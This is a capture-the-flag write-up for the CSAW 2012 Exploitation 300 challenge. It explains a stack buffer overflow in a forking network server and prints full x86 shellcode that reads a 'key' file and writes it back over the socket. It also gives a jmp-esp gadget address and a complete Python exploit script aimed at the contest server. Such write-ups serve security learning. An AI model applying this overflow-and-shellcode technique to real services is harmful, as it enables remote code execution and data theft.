CSAW CTF - Exploitation 300

Monday, October 01, 2012 » airmack, csaw, ctf, luks, robbje, spq

Exploitation 300 challenge of CSAW CTF

Description

The file 聊天 (pinyin: liao tian) is an ELF 32-bit executable implementing a listen-accept-fork server. Prior to setting up the network functionality it installs signal handlers for different signals, which will be raised later to handle incoming connections. The goal is to exploit a vulnerability in order to read the contents of the file key in the current working directory. The software listens on port 4842. The vulnerability is a read call in the function starting at offset 0x0804889E in memory. Read is called to put at most 2048 bytes into a buffer, which is only 326 bytes of size. Since this function does not implement a full stackframe, $eip can be controlled by putting a value after 326 arbritrary bytes. retn will then pop the given value from the stack and jump to it. $esp will then point to whatever we put after $eip. Assuming that Adress Space Layout Randomization is switched on, a way to reliably jump to shellcode is needed. Since $esp points to whatever we put after $eip, we can put our shellcode there. We just need to find a jmp $esp opcode to gain remote code execution. Our payload looks like this:

1
[326 bytes][$eip][shellcode]

Our shellcode needs to retrieve the contents of the file key. The shellcode uses two systemcalls to open and read from the file and another one
in a loop to write to the file descriptor, which conveniently resides at a known adress in memory.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
BITS 32
    jmp end
start:
    pop esi         ; pop adress of key-string to esi
    xor eax, eax
    mov [esi+3], al ; put a 0-byte behind key
    xor edx, edx
    xor ecx, ecx
    mov ebx, esi
    xor eax, eax
    inc eax
    shl eax, 2
    inc eax
    int 0x80        ; fd = open('key', 0)
    mov ebx, eax
    mov ecx, esi
    xor edx, edx
    inc edx
    shl edx, 5
    xor eax, eax
    inc eax
    inc eax
    inc eax
    int 0x80        ; read(fd, buf, 32)
    ; move the socket-fd to ebx
    mov ebx, 0x0804b07c
    mov ebx, [ebx]
    xor edx, edx
    inc edx
    shl edx, 5
    push esi
    pop ecx
    xor eax, eax
    inc eax
    shl eax,2
    int 0x80        ; write(socked, buf, 32)
    nop
    nop
end:
    call start
    db 'keyNAAAAAAAAAAAAAAAAAAAAAAAAAAA'

Still, a jmp $esp opcode is needed to jump to our shellcode. Searching in a hexeditor for the byte sequence "ff e4" finds one at 0x0804900b. Our exploit is complete and reveals the flag key{THE KEY GOES HERE^psi}.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/python

import socket
import struct
import time

host = "128.238.66.218"
port = 4842

eip = 0x0804900b
shellcode ="\xeb\x3f\x5e\x31\xc0\x88\x46\x03\x31\xd2\x31\xc9\x89\xf3\x31\xc0\x40\xc1\xe0\x02\x40\xcd\x80\x89\xc3\x89\xf1\x31\xd2\x42\xc1\xe2\x05\x31\xc0\x40\x40\x40\xcd\x80\xbb\x7c\xb0\x04\x08\x8b\x1b\x31\xd2\x42\xc1\xe2\x05\x56\x59\x31\xc0\x40\xc1\xe0\x02\xcd\x80\x90\x90\xe8\xbc\xff\xff\xff\x6b\x65\x79\x4e\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"

payload = "x"*326 + struct.pack("<I", eip) + shellcode
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
sock.sendall(payload)
time.sleep(0.4)     # wait a little
print sock.recv(512)
sock.close()